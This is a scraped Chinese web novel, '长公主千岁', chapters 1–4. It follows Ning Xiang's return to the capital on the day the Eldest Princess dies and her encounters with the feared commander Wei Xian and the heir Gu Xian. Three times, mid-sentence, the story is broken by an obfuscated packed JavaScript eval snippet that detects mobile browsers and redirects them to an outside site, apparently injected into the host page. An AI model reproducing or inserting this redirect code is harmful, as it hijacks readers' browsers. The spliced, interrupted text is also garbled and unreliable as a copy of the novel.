《长公主千岁》 1. 001 钟声 隆庆十二年八月初七,距离中秋只不过几日,已是入秋时分,白日里还带着暑热,不过到了夜里、或者说凌晨天还未亮日头未出之时,已经能感受到秋的凉意了。 距离京城不远不近的一处驿站中,如今正是万籁俱寂之时,入夜时点来照路的灯笼早已经熄灭,只余一片漆黑。 有一扇窗却在这时候亮起,人影绰绰一会之后,着着单薄夏衫的纤细身影提着灯从屋内走出,立在庭院之中,望向无边的夜色。 不一会儿旁边也有人起来了,一道略微佝偻的身影靠近先前那人背后,略显苍老的声音虽然已经刻意压低,但是在黑夜之中依旧清晰:“姑娘?” 宁襄回头:“姚嬷嬷?” 十五岁的少女,声音本该是鲜妍明媚的,此时听起来,却似乎多了一丝苍老悲凉。 这个念头也不过是一闪而过而已,嬷嬷很快摇头心道自己多想,也许是夜色、或者是宁襄为了不惊扰别人刻意压低了声音说话的缘故吧。 “姑娘可是为明日进城的事担忧?”姚嬷嬷估摸着自家姑娘的心事,试着安慰道,“姑娘不必担心……那毕竟是姑娘的亲人。”这话安慰的,她自己都没什么底气。 宁襄摇了摇头:“姚嬷嬷不必多虑,我不是为了这事烦忧。” 姚嬷嬷虽然不信,嘴上却只能应道:“那奴婢便安心了。” 宁襄幽幽一叹,姚嬷嬷好奇地看了她一眼——虽然平日里也不是没听过自家姑娘叹气,但是今日听起来,似乎那叹气声格外惆怅。 或许是因为近乡情怯的缘故吧。 宁家长女离京十二载,如今再回来,却不知道那家中可还有自己容身之处——甚至于那“家”能否称之为“家”也不一定。 姚嬷嬷心想,自家姑娘平日里看着没心没肺,可一个女儿家,怎么可能真的就对自己的处境无知无觉呢,平日里不显,只怕都是在隐忍罢了。 毕竟自家姑娘身份如此尴尬。 国子监司业宁海的嫡长女,还是先元配夫人留下的长女,在如今的宁家,实在是个尴尬的身份。 姚嬷嬷又叹了口气:“离天亮还早呢,姑娘回去再睡一会吧,明日一早还得启程呢。”她没说的是,怕宁襄会因为睡眠不足精神不济被人挑了礼。 宁襄摇了摇头:“姚嬷嬷先去睡吧。” 姚嬷嬷哪肯自己去安寝、就算去了,又怎么睡得着! 见宁襄执着,她便也不再多劝,回屋拿了身斗篷披在宁襄肩头:“姑娘既然不困,那奴婢陪着姑娘说会话。” 宁襄也不再多话,只是抬头望着眼前漆黑的夜空。 姚嬷嬷顺着她视线望了一会,实在是看不出什么端倪:“姑娘在看什么呢?” 宁襄声音幽幽的:“看京城。” 姚嬷嬷本就不是京城人氏,在京城待的时日也不长,又离开京城很多年,记忆早已经生疏,也不知道自家姑娘望那个方向是不是京城的方向,就算是吧,可是这样的夜里,又能看出什么呢,姚嬷嬷谓然长叹,不再出声——大概自家姑娘对于明日进京……还是有些忐忑吧。 她也不好多劝——她对于明日、或者说未来,其实也是迷茫得很,也不知道该怎么劝自家姑娘。 她是宁襄生母身边的老人,宁襄外祖家沈家早已经没落,宁襄生母沈慧又过世了这么多年,如今府中早已经是宁襄继母主事,宁襄自小远离京城养在外边,这次回去,也不知道宁家会怎么对待她们主仆二人。 两人都沉默着,姚嬷嬷年老,到底是有些熬不住,眼皮搭上,将眠未眠。 暗夜之中突然传来了阵阵钟声,钟声幽远空洞,该是从很远的地方传来的,到了她们这里,只剩下余音,若不是夜里太静、若是她们睡梦之中,怕是听不见的。 姚嬷嬷最初以为只是报时的钟声,不以为意,可是那钟声响了许久,姚嬷嬷睁开眼睛:“这钟声?” 见宁襄的视线仍保持着之前的方向,虽然不确定但还是问道:“是京城那边传来的?” 宁襄点头,姚嬷嬷顿了顿:“是丧钟?” 宁襄再点头,姚嬷嬷便有些不安:“这么多声……不会是……陛下……吧?” 宁襄摇摇头,不知为何突然笑了:“陛下才弱冠,算起来正是壮年,怎么会是他呢。”笑容却不达眼底。 感觉面上生凉,宁襄抬手摸去,眼角不知何时已经是湿了一片。 姚嬷嬷没看她的脸,自然也没有察觉,只是幽然道:“也不知是哪一个大人物。” “大人物?”宁襄嘴角勾起一抹讥讽的笑,“也算不上什么大人物,是——” 她斟酌了一下,手指在眼前张开,微微低头,看着指尖的湿意:“是长公主。” “长公主她——”不着痕迹地将眼泪擦掉,宁襄的声音在夜色之中空泛幽远,“长公主她……终究还是走到了这一步。” 当朝只有一个长公主,提起她,倒也无需过多的名缀,甚至不用提她的封号或者她的名字,长公主就是长公主,不是旁的什么人。 “居然是长公主?”姚嬷嬷有些不敢置信,倒是忽略了宁襄用词的怪异:“长公主宽厚仁慈,如今也不过二十——二十多少来着?” 宁襄声音低沉而又笃定:“二十七。” “二十七……”如今这年头,女子二十七不算年轻也不算年长,姚嬷嬷顿了顿,“可惜长公主膝下也没个一儿半女的,如今这一走……” 宁襄默然不语,只微微一叹。 长公主那般的处境,没有子女才是寻常,若是有子女……如今反而不知该如何收场。 不过长公主也不可能有任何子嗣。 “这些年奴婢与姑娘虽然远离京城,但是长公主的事迹也是听过几分的,都说长公主跟陛下姐弟手足至亲,长公主这一去,陛下得多伤心啊,”姚嬷嬷如今睡意也消了,顿了顿又道,“还有驸马……听闻长公主跟驸马恩爱甚笃伉俪情深,长公主突然撒手人寰,驸马只怕也是悲痛难当。” “姚嬷嬷平日里少听那些说书人胡诌,”宁襄嗤笑一声,“那些说书人向来便喜欢夸大其词吊人胃口,其实说的故事都是瞎编杜撰的,根本信不得。” “怎么会?那些人说得绘声绘色的——”姚嬷嬷不太相信,“再说了,姑娘不也时常听得津津有味吗。” “如鱼饮水,冷暖自知,说书而已,听听便罢了,”宁襄语气里有几分嘲讽,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484423|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人说得煞有介事,仿佛他们就跟着长公主亲眼所见一般——怎么可能。” “那倒也是,长公主那是什么人,那些人如何近得身,”姚嬷嬷不再纠结,只是觉得奇怪,“姑娘以前便最喜听说书人说长公主的故事,奴婢原以为……” “那些故事全是胡诌全是杜撰,偶尔听听只当是逗趣,不可信不必信,”宁襄重复了一遍,似乎不愿意多谈论,“我们回去歇着吧。” 姚嬷嬷却忧心忡忡起来:“说起来,姑娘与长公主也有些渊源……如今长公主薨了……宁家那边……” “人走茶凉本就是世间常态,姚嬷嬷不必多想,”宁襄倒是不怎么在意,低声道,“再说了,我也没奢望过长公主的身份能长久震慑住他们。”十二年,已经是极限了。 “当初若不是长公主无意撞见了……插手了一下,如今姑娘……”姚嬷嬷将口中那半句“也许早就没了”的话咽下,“长公主不仅救了姑娘的命,还——” “罢了,”宁襄不置可否,她也不知道自己当年活下来到底算不算是一件“幸运”之事,,“姚嬷嬷再去睡一会吧,天亮之后还要进城呢。” “姑娘也回去睡吧,”姚嬷嬷不肯自己独自回去,又劝了一句,宁襄沉凝一会,知道姚嬷嬷不会妥协,便也点头,姚嬷嬷跟在宁襄身后,心里还是带了几分期盼,口中念念有词,“长公主那般仁善……希望不是长公主……肯定不是长公主,也许是别的什么贵人吧。” 宁襄没有接话,回屋睡下,姚嬷嬷倒是在外边嘀咕了一会,这才安静了。 宁襄稍稍眯了会,天便也亮了,本就是歇个脚应付一夜,也没什么好收拾的,宁襄带着姚嬷嬷带着宁家去接她回来的人一道出发,不过两个时辰便看到了城门。 今日城门戒严,或者说整座京城都在戒严,整个城门处透着一股子肃穆,进城的人也安安分分不敢多言,宁家来接宁襄的人似乎也有些摸不着头脑,不过他们毕竟有些门路,稍稍打听了一下,便得知究竟发生了什么。 长公主薨了。 姚嬷嬷有些发懵,没想到之前听到的丧钟……居然真的是长公主的。 陛下即位十三年,去年才弱冠,虽然说一直都在亲政,可天下谁人不知,过去很多年里,朝廷主事的是长公主。 天下人皆知,当初福王作乱,意图颠覆,几乎成事,虽然先帝最终镇压了福王的谋反,可福王垂死挣扎拼死一搏刺伤了先帝,先帝随即便驾崩了,连一封诏书都没有留下。 因为福王的缘故,先帝子嗣几乎无存,只留下被长公主护住性命的两个幼子以及一个尚在襁褓之中的皇孙。 那年,如今的长公主——当时的七公主十四岁,如今的陛下——当时的九皇子不过八岁,如今的靖王——当时的十一皇子不过六岁,而如今的昱王——当时的皇孙出生也不过周岁而已。 年纪都太小,似乎都难堪大任。 最终长公主站出来,扶持九皇子登基即位,如今一晃过去,已经十三年了。 从二七到二十七,长公主生在这座城中,最终也死在了这座城中。 宁襄微微一叹,抬眼看了看那高耸肃穆巍峨的城墙——而今日,她回来了。 2. 002 卫显 长公主薨逝,陛下悲痛异常,今日没有上朝,但是下了旨意—— 举国上下禁止饮乐,实行宵禁,民间禁婚事嫁娶百日,为长公主守孝。 姚嬷嬷在一旁感念陛下对长公主真是姐弟情深,只宁襄的手在马车窗子上轻敲,眼底泛起一丝清冷。 逝者已矣,再佯装“情深意切”又如何,死人不会知道,也不会在乎,这些不过是做给活人看的——若真是情深,长公主又何至于会死? 不过是掩耳盗铃给活人生添烦忧罢了。 用一场盛大的祭祀以及外露的悲痛,掩饰一些人深藏而隐秘的心虚。 毕竟长公主得百姓拥戴,总不好叫人知道了长公主真正的死因。 马车停下,宁襄揉了揉眉心,姚嬷嬷探出去:“到了吗?” 宁襄也没多想,下了马车才察觉不对劲,抬眼看了一眼——这是……宁府的角门,平日里专门让下人出入的,因为门太小又有坎,马车进不去,所以才让她们主仆下了马车。 姚嬷嬷虽然不清楚大家族里的规矩,可是哪能不知道宁家的阴私,当下便沉了脸:“李茂,这是怎么一回事!” 李茂是宁家派去接宁襄回来的管事,原本想着悄无声息将人从角门送进去,如今见姚嬷嬷要闹起,连忙过来赔罪:“姚嬷嬷有所不知,今日长公主薨逝,家中闭门谢客,正门那边不好走,少不得要委屈一下大姑娘了。” 长公主薨逝跟宁襄回家有什么关系,分明就是宁襄的继母故意让宁襄没脸罢了,就算没有长公主这事,相信他们也能找出别的理由折辱宁襄。 姚嬷嬷心下生气,只是这种话不好说出口,顿时憋闷不已。 就算自家姑娘跟长公主有过一段渊源,可那毕竟是十几年前的事了,那事情对于长公主不过是随口一句的事,之后便也没放在心上,宁家最初几年还有些忌惮,后来见长公主并未对宁襄过多关注,便也渐渐淡了松懈了。 姚嬷嬷一直跟在宁襄身边,宁家每年送往普阳县的年例……一年比一年薄,甚至只够勉强维持生计——宁家什么心思,姚嬷嬷还能不知道吗。 说来也奇怪,宁家对宁襄这些年几乎不闻不问,这次却又巴巴将人千里迢迢接回来,姚嬷嬷原本以为宁家良心发现,结果今日一看,是她多想了。 原本他们或许还忌惮着怕长公主想起宁襄来——偏偏如今长公主薨逝了……那仅存一丝的忌惮,便也彻底没了。 让宁襄从角门入府,是试探,也是警告。 是告诉宁襄她没有靠山,入府之后,所有一切都该听主母的安排。 虽然这些年宁家不怎么理会宁襄,最多只是漠视,这般似乎是打压的行为她也是第一次遇到,姚嬷嬷没经过这种事,顿时有些手足无措:“姑娘?” “我们走吧,”宁襄看了一眼那角门,眼神无波无澜,“不必跟他们浪费唇舌。” 她们随身的行李并不多,不过两三个包袱而已,宁家的下人没打算帮她们,宁襄也没打算假他们手,姚嬷嬷本想将包袱全都背上,宁襄拿过一个重的,先走一步。 姚嬷嬷见宁襄不是走向角门,嘴巴张开了一瞬,很快闭上,快走几步跟上,面上带着几分喜色又带着几分不安:“姑娘?” 自家姑娘不忍气吞声是好事,可是就这么走了……似乎又有些不太好。 宁襄看了姚嬷嬷一眼:“嬷嬷在宁家有什么舍不得的人吗?” “奴婢这条命是先夫人给的,奴婢不认其他人,就只认姑娘一个,姑娘去哪奴婢去哪,”姚嬷嬷摇头,“姑娘怎么说,奴婢怎么做。” “姑娘打算怎么做?”姚嬷嬷压低了声音,“姑娘你尽管吩咐。” 宁襄反而笑了:“嬷嬷放心吧,我什么都不做。” 姚嬷嬷倒是有些不平:“那就这么——”任由他们折辱吗? “我累了,不过是一个宁家罢了,”宁襄神色疲惫,“不值得我掺和。”她答应来京城,不是为了来认亲的。 “姑娘说什么便是什么,”姚嬷嬷不再多言,转而问道,“姑娘我们去哪里。” “去哪都好,”宁襄回头望了望宁府那其实也算不上多高的墙,“反正不会回宁家了。” 顿了顿,她特意跟姚嬷嬷解释了一遍:“我一开始就没想过要回去。” 至于为什么还是到了这里——宁襄自嘲一笑,或许是心中还是存着一丝期待吧,好在宁家没有让她失望,也算是帮她坚定了决心。 “姑娘去哪奴婢去哪!”姚嬷嬷快步跟上宁襄,不再理会宁家那些人。 这一路上,宁襄主仆都好声好气的就算他们漠视,她俩也未曾说过什么,宁家那些下人便觉得自小长在外边的宁襄没什么值得忌惮和恭敬的,似乎没料到宁襄脾气这么倔,会因为这么一点“小事”便翻脸生气。 果然是在乡野长大的,没有一丝礼仪风范,不像府上的几位姑娘……李茂等人心里这样想着,等到宁襄走远了,才回过神来,想要追过去:“大姑娘?” 见宁襄没有回头,又换了个人:“姚嬷嬷?” 宁襄和姚嬷嬷都没理他们,径自往前走。 那些人也不敢上前拉扯,只好跟在她俩身后:“大姑娘,您不回府吗?”语气倒是比之前好了一些,不过估计也不是真心恭敬,只是怕宁襄就这么走了,他们回去不好跟人交待罢了。 宁襄可懒得理会他们的处境,虽然为难她不是他们的本意,只是奉命行事——可是她也没必要顾及他们。 她本来就不打算理会宁家,更何况宁家这些不起眼的人。 不值得,没必要。 李茂他们不敢真拦又不敢就这么放着她们走,便一直跟在她俩身后,宁襄带着姚嬷嬷走出宁府角门所在的巷子,往外走去。 李茂等人还在跟着,宁襄本来想就这么走了的,见他们不依不饶,摸了摸眉心,抬头看了一眼,发现他们如今已经出了巷子,走到了街道上。 虽然陛下下了旨意,不过如今是白日,道上人来人往,还算热闹。 宁襄被追得起了气性,声音上扬:“你们到底想做什么!” “大姑娘还是跟我们回府吧,”李茂没想到过去这些年一直养在外边、听闻一直安静本分的、这一路上也安静本分的宁襄气性如此大,怕自己不能完事,一直跟在宁襄身后试图劝她回去:“大姑娘别让小的们难做。” “我为难你们?”宁襄声音都透着烦躁,“这话你倒是说得出口。” 李茂自觉理亏,还是想劝宁襄:“大姑娘若是不快……那让小的回府问问……老爷?”他看了看宁府的正门。 宁襄反倒笑了,看样子大家都很清楚是怎么回事,却想着让她当做什么都不知道。 “不必了,”宁襄声音不打算压低,难得地带了几分气性:“我是什么身份,可当不起这般礼遇。” “不过就是宁司业元配生的女儿,又不是什么大人物,不像府上二姑娘,女凭母贵,”宁襄笑:“我就只配从下人出入的角门进府,哪里值得府上开正门迎接呢。” “大姑娘这说的什么话!”李茂见有人围过来,想过来拉宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“李茂你胡说什么!我家姑娘怎么会对长公主不敬!”嬷嬷倒是气极:“我家姑娘的命都是长公主救的,怎么可能对长公主不敬!倒是你们!怕是记恨长公主当年帮了姑娘的事,故意在长公主薨逝这日折辱我家姑娘!只怕你们一直觉得当年是长公主多管闲事!一直盼着长公主薨逝呢!” “姚嬷嬷你、你胡说什么!”李茂被姚嬷嬷这么一“构陷”,说话顿时有些不利索,尤其是看到一辆马车在人群之外停下,更是语无伦次:“这种话、岂能、岂能乱说的!” 漆黑而华丽的马车停在人群之外,一只苍白的手掀开马车的车帘,露出车上人的半张侧脸。 长相阴柔的男子,眼角有一颗胭脂色的红痣,让其本就俊美异常的容貌平添了几分鬼魅——没有人敢说那是媚态,这世间胆敢因其容貌而轻视他的人……大抵都已经死了吧。 此人正是镇抚司指挥使卫显。 他一双凤目冷冷扫了一眼车下的众人——马车停下的瞬间,跟着他的缇骑已将这些人团团围住,任是谁都无法逃脱。 他并没有多看这些人,很快收回目光,声音无波无澜:“都带回去吧。” 带回哪里?自然是带回镇抚司的大牢里。 镇抚司主诏狱,他们这些人当然不够格入诏狱,但光是镇抚司的大牢,就足以令人闻风丧胆。 哪怕是镇抚司的大牢,对于许多人而言,也是一个有去无回的所在。 宁襄眉头轻蹙:她今日运气实在是糟透了,回京第一日,便遇上了这个人。 3. 003 世子 卫显发了话,被围住的众人连喊冤都不敢喊出口——不是没有过这样的先例,曾有官员被其带人查抄之时,喊了一句“冤枉”,便被卫显命人当庭射杀。 他没有什么案情还未审理之类的忌惮,杀人的原因是——觉得那人太吵。 卫显行事杀伐果断,即使对于的确罪大恶极该死之人,也是过于严苛狠戾,何况死在他手下的,也不是每一个人都十恶不赦,他手下多的是冤狱。 他从来就不是什么奉行公平公正的人,也不会有人因为他杀过许多贪官污吏而认为他是在主持公道,他是头顶雷霆,可能落在每一个人头上,至于落在谁头上——不一定要有真凭实据,全看他个人喜好。 民间聊聊几句语焉不详的传说里,他就是这样喜怒无常的人——越是被禁止谈论的,往往越是人尽皆知。 所以被镇抚司缇骑围住的众人,纵然觉得冤屈,也不敢再开口也没人敢乱动,虽然去了镇抚司也是死,可早死晚死还是有区别的,万一峰回路转侥幸捡得一条性命呢。 虽然都知道,这是不可能的,这种念头在卫显面前,无异于是异想天开。 “卫大人倒是好大的官威!” 宁襄没有乱动,低头凝思着对策,突然听到缇骑环绕之外有人不怕死地开口,宁襄听到别人低声祈祷着恨不得撇清关系:“是他找死不是我们,卫大人您要算账找他便是,千万千万不要怪罪我们!” 即使外边的人是在为他们出头。 声音不大,除了近旁的人能听到,其他人——尤其是卫显那里应该是听不到的。 宁襄觉得,这世道真是荒诞。 那人是一年轻男子,约莫弱冠年纪,身形瘦削,面色苍白,有些病怏怏的模样,他的脸很瘦,一双桃花眼滢滢,衬得他的容貌似乎比实际年龄小了几岁,看起来仿佛十几岁的少年郎。 他倒是不惧卫显,甚至还走近了几分,一双桃花眼看了扫视了被缇骑圈住的人一眼,说来也奇怪,明明就一眼,其实他根本就没有仔细看,但好像被他扫到的人都觉得他在关注着自己,好像看谁都真诚得很,也算是一种天赋异禀吧。 先前极力撇清关系的人知道自己理亏,当然也是害怕出声惹来卫显迁怒,没再出声。 “怎么,”卫显终于舍得将目光投向来人,“你又要为他们出头?” “是又如何?”年轻男子似乎并不怕卫显,“这本来也不是什么大事,这些人也无足轻重,不至于要将他们入狱吧?” “不是什么大事?”卫显嘴角轻扯,笑容发寒,“他们对她不敬!” “哦,是吗,我怎么没看到?”年轻男子并不退步:“他们只不过是谈论了一下,怎么,如今卫大人连这都不允许了?” “如今没有人再护着你了,”卫显盯着他:“你别以为我真不敢动你!” “我知你想杀我不是一日两日之事,”年轻男子并不畏惧,反而迎着卫显的目光,“这不,总算让卫大人逮着机会了。” “我只是没想到你这般迫不及待,早不发作晚不发作,偏偏今日要发作,”男子直视卫显的眼睛,“卫大人等今日……等了很久吧?” “今日”是什么日子不言而喻,卫显煞白了脸,“你竟敢——” “我当然敢,而且我说的是实话,”年轻男子面带嘲讽,“你们俩到底怎么回事,你自己心里没数?” “素日她还在时,你为了在她跟前装模作样还有所收敛,”年轻男子嗤笑一声,“如今她一走,你的杀性便按捺不住了——” 宁襄身边的人闻言更是屏住呼吸——怎么,以往那般……还是卫显“收敛”之后的结果? 只是听到了这秘密的他们……是不是就更活不成了? “她尸骨未寒你便忍不住大造杀业,我不过是成全你罢了,”男子嘲笑道,“与其让你费心费力替我罗织罪名,还不如我自己送上门来任你宰割,不是吗?” “你倒是颇有自知之明,”卫显竟然也不否认,“我想杀你,的确不是一日两日的事。” “但我今日不会杀你,”卫显扫了一眼缇骑环绕的人,“也不会拿这么轻的罪名对付你。” “你想救他们那便救吧,看在她面上我最后给你这个面子,”卫显吩咐缇骑放人,待得缇骑都回到他车边,他深深凝视着年轻男子,“如今她不在了,谁都不能阻止我对付你们了。” “你且好好享受你余下的日子吧,”卫显并不收回目光,语气疏冷,“百日之后,我可不会再心慈手软。” “心慈手软?”男子轻嘲,“卫大人对自己莫不是有极大的误解?” “不管你怎么想怎么看,”卫显看着他,似乎想要替自己辩解一番:“今日之事……谁都不想的。” 他说着放下车帘,马车缇骑已经起动,竟仿若真的不再管这边的事一般。 劫后余生的众人长出一口气,先前那个不知好歹提起卫显的人似乎跟姚嬷嬷她们一般是外来人,此刻也是气喘吁吁,“先前这些兵士太吓人了!” “这人到底是谁啊?”他初来乍到,只听过卫显的威名,却不认识那出声相助的年轻男子,“居然敢跟那个人这样说话。”他总算是懂得对某些人名缄默了。 “他你都不知道?”先前祈祷撇清关系的人瞥了这人一眼:“他不就是——” 宁襄呆望着年轻男子的背影,幽幽吐出两个字,掩在旁人的声音里,几不可闻。 “他不就是成国公的独苗——”那人给这些个外来的人介绍道,“成国公世子。” 那人压低了声音:“传闻诚不欺我,这的确是个好管闲事的主,偌大个京城,也就他敢跟那个人对上还能全身而退,只是没想到那个人居然真的就不追究——” 他声音顿住,因为他口中“好管闲事”的“成国公世子”顾闲突然回头,在他们之间查探着什么。 “多谢世子出手相救,”那几人以为他是看向自己,连忙从善如流,“大恩大德——” 顾闲摆摆手不让他们再吵,最后目光定格在宁襄脸上:“你刚刚叫我什么?” 被他盯着的宁襄慌了一瞬:“世子怕是听错了,我并未叫世子。” “我听到了,”顾闲上下打量着宁襄:“你先前唤我阿十。” 他眼神带着探究:“我们见过吗?” “从未见过,之前是世子听错了,”宁襄摇头,她倒是没想到他这般“耳聪目明”,不由得面容微恼,“我本想说的是‘啊世子’——” “我今日初来京城,先前并没有见过世子,并不认识世子,”宁襄低头,避开他的目光,“只是毕竟蒙世子搭救,故而感慨了一声而已。” 姚嬷嬷虽然害怕,不过还是努力上前替宁襄证明:“我家姑娘说的是实话。” 顾闲眼睛看向姚嬷嬷:“我先前听你们说,你们与……长公主有渊源,是什么渊源?” “我家姑娘是宁司业元配所生长女,”姚嬷嬷虽然身子还在发抖,听他问起,看了宁襄一眼,见宁襄没有阻拦,便朗声托出:“那是元年正月的事情,宁家二姑娘洗三宴上,长公主微服至府上,却遇到宁家苛待长女想致其夭亡——” “姚嬷嬷你休得胡言!”李茂赶忙出声阻止,“这种事岂能乱说!” “奴婢没有乱说,”姚嬷嬷摇头,“那时候我家姑娘被折磨得不成人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484425|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,差一点便……” “要不是长公主及时发现,又替我家姑娘请来御医诊治,”提起这事姚嬷嬷眼眶便湿润起来:“怕是我家姑娘早就没了。” “姚嬷嬷你怎能如此信口雌黄污蔑!”李茂心慌,“当初这事……没有证据!再说了,当年伺候大姑娘的人都已认罪伏诛——你今日当着外人的面旧事重提,到底是什么居心!” “什么居心,我倒想问问你们到底是什么意思呢!”姚嬷嬷气不过,“让姑娘从角门进我量你也做不了主,是继夫人的意思吗?” “姚嬷嬷你无端端的不要胡乱攀扯冤枉夫人!”李茂急忙为主子辩解,“今日这事真的是意外,谁也未曾料到——” 他俩吵吵闹闹的,顾闲并不分神看他们,他只是看着宁襄:“姑娘可要帮忙?” 宁襄呆了一瞬,随即摇头:“多谢世子好意,但是不必。” “这姑娘莫不是傻了吧!”旁边的人打量了她们主仆又看了看李茂,“我说姑娘,自古民与官斗都不是一件易事,难得有人愿意多管、愿意帮忙,姑娘应该把握住机会才是。” 姚嬷嬷听他这样说,也觉得有道理:“姑娘?” “多谢大叔提点,”识时务者为俊杰,宁襄知道对方是好心,谢过对方,却还是摇头,“不过这是我与宁家之间的事,不必牵涉过广,我应该能自己解决的。” 她没打算依靠别人,更不打算跟别人有太多来往,更何况是顾闲。 尤其是顾闲。 好心多管闲事却被拒,顾闲倒也不尴尬,反而是认真看了宁襄一眼:“姑娘打算如何‘自己’解决呢?” 他没有生气迁怒,她再闪躲扭捏反而显得矫情,宁襄抬起头,看似在回答他其实却是在告诉众人:“我这次之所以进京,本就是打算与宁家断绝关系、自立门户的。”她一开始就没想过要回宁家跟他们“团聚”——何况今时不同往日,又出了这样的变故,她更不可能“回去”了。 她这话说出口,李茂便愣住了:“大姑娘?” “大姑娘你别意气用事!”李茂看了顾闲一眼,见他点了点头似乎认同宁襄的做法,顿时慌了自己掌嘴道,“今日之事是小的做错了,是小的不长眼慢待了大姑娘,大姑娘您不要跟小的一般见识!老爷夫人还有府上的姑娘少爷都在等着姑娘一家子团聚呢——” “他们是一家子,我却不是的,”宁襄声音无波无澜,见顾闲没有要走的意思,认真地跟他再解释了一遍,“这本就是我与宁家的私人恩怨,不好劳烦世子。” 顿了顿,重申了一遍:“我自己能解决。” “倒是个有眼色的,”一道声音蓦然响起,不知道何时卫显弃了车马回来站在人群之外,他一身缟素,即使穿成这样也未损容颜分毫,那些缇骑站在他身后,更是衬托得他异常显眼,他的目光并没有放在宁襄身上,而是盯着顾闲,“知道顾世子无职在身,求他不若求我。” 宁襄眼眸低垂,没有出声,姚嬷嬷却是紧张得很——虽然不知道为何卫显突然“大发慈悲”过来“主持公道”,但是个人都知道,卫显这个人……不能求。 他之所以回来,只怕是是想跟顾闲较劲,先前就看他俩不对付了。 有他插一手,事情只怕反而更乱。 宁襄叹了口气,她不该沉不住气,她应该忍一忍的,她不该在今日闹将起来。 她这次回来,本就不想与跟长公主有关的人有任何交集,也不知道先前到底是怎么了,或许今日是她流年不利——居然莫名两个字惹来了顾闲。 如今还招惹来一个卫显。 他俩跟长公主的关系,都是两个字——“匪浅”。 4. 004 好人 人说最是无情帝王家,这句话套不到长公主身上,但是用在先帝身上,又再贴切不过了。 先帝这个人……怎么说呢,他性子是十分凉薄的。 先帝凉薄倒也不是无缘无故——他自己便是在冷宫长大,生母被先上皇厌弃,外家因被连坐近乎绝户,可以说是先上皇那么多皇子里,最无权无势、最不可能登上帝位的人。 后来他坐到了高位,他的后宫与先上皇的后宫……可谓是重蹈覆辙。 先上皇对先帝不上心,先帝有了皇子之后,对于自己那些皇子他同样并不上心,尤其是对几个年长的皇子——先帝更是戒备提防得很。 长公主、当时的七公主之前的几个皇子母族显赫,先帝皇位得来纯属侥幸,早年登基时帝位不稳,为了笼络权臣重臣,很是“委屈”了自己,后来帝位稳固,对于那几个自己委曲求全宠幸的妃子以及所生的皇子,便有诸多不喜与防备,加之担心外戚干政,所以一直都没有立储君,而且不会在年长、有背景的皇子之中选一个立储君。 而七公主之后的几个小皇子……多为无品阶的宫婢所出,先帝这人……出身贵胄的妃嫔他不喜,而那些身份低微的宫婢,他幸了却又看不上不曾给她们提升名分,生下的几个皇子他也觉得他们卑贱不堪大用,平日里也是不闻不问的。 唯一能勉强入他眼的子女,是其皇后所出的三皇子以及七公主。 皇后与先帝是少年夫妻,也曾共患难,相互扶持,怀着身孕时替先帝挡过一劫——但这并不是先帝对这两个孩子“宠爱”的缘由,真正的缘由三皇子生来病弱,难以、或者说绝无可能承继大统,而七公主只是女儿而已——历朝以来,少有或者说几乎没有公主称帝的先例。 这两个孩子对他的帝位没有威胁,所以他愿意施舍他为数不多的“父爱”。 先帝的子嗣阳盛阴衰,生了那么多皇子,只得了一个女儿,这个女儿出生那日,天降祥云,司天监当时的监正岑天官占卜言道公主命格尊贵,是为护佑国家之兆,先帝素来多疑,本是不信的,可随即边关便传来大捷,先帝难得龙颜大悦,第一个公主便跟了皇子的排序,是为七公主。 当然,其实也就是当做一个祥瑞物件罢了。 无论如何,七公主在宫中,算得上的最受宠,先帝给她的待遇远超其余皇子。 不过她并没有因为这分殊遇而目中无人张扬跋扈。 她很清楚,先帝对她宽容,一是那些年里无甚祸乱让先帝对于司天监的批命宁可信其有,二是因为先帝认定她是公主不能继承大统所以没有威胁。 幸好七公主也没有那样的野心,至于其他的,既然先帝愿意给,她便也受着,在先帝允许的范围内,小心试探着,做自己想做愿意做的事情,倒也未曾委屈苛待了自己。 七公主八岁那年,年幼的十皇子夭折,察觉到先帝以及其他有品阶的妃嫔对那几个小皇子并不上心,而她的母亲、皇后又一心扑在三皇子的病上无暇他顾,七公主自请看护几个小皇子。 先帝对这些琐事不在意,长公主求了,他便允了,在他看来,这也不是什么大事,甚至不必跟他说起——他根本不关心那几个小皇子死活,一直以来都是任他们自生自灭的……若是夭亡了,只能说其不是天命所归而已——不过七公主要养,那便养着吧。 因此八皇子、九皇子以及十一皇子说起来,算是七公主看护长大的。 包括后来的顾闲以及三皇子的遗孤。 先帝之所以能够在众多兄弟之中摘得帝位,离不开顾家。 成国公顾铭自幼与先帝相交,别人都不看好先帝即位,唯独顾铭身后的顾家一直支持他——先帝能够登基,离不开顾家的鼎力相助。 先帝登基之后,升了顾家的爵位,允了顾家世袭罔递的国公之爵,感激顾铭的襄助。 先帝与顾铭原本应该是一段君臣佳话的,然而先帝登基之后,他变了。 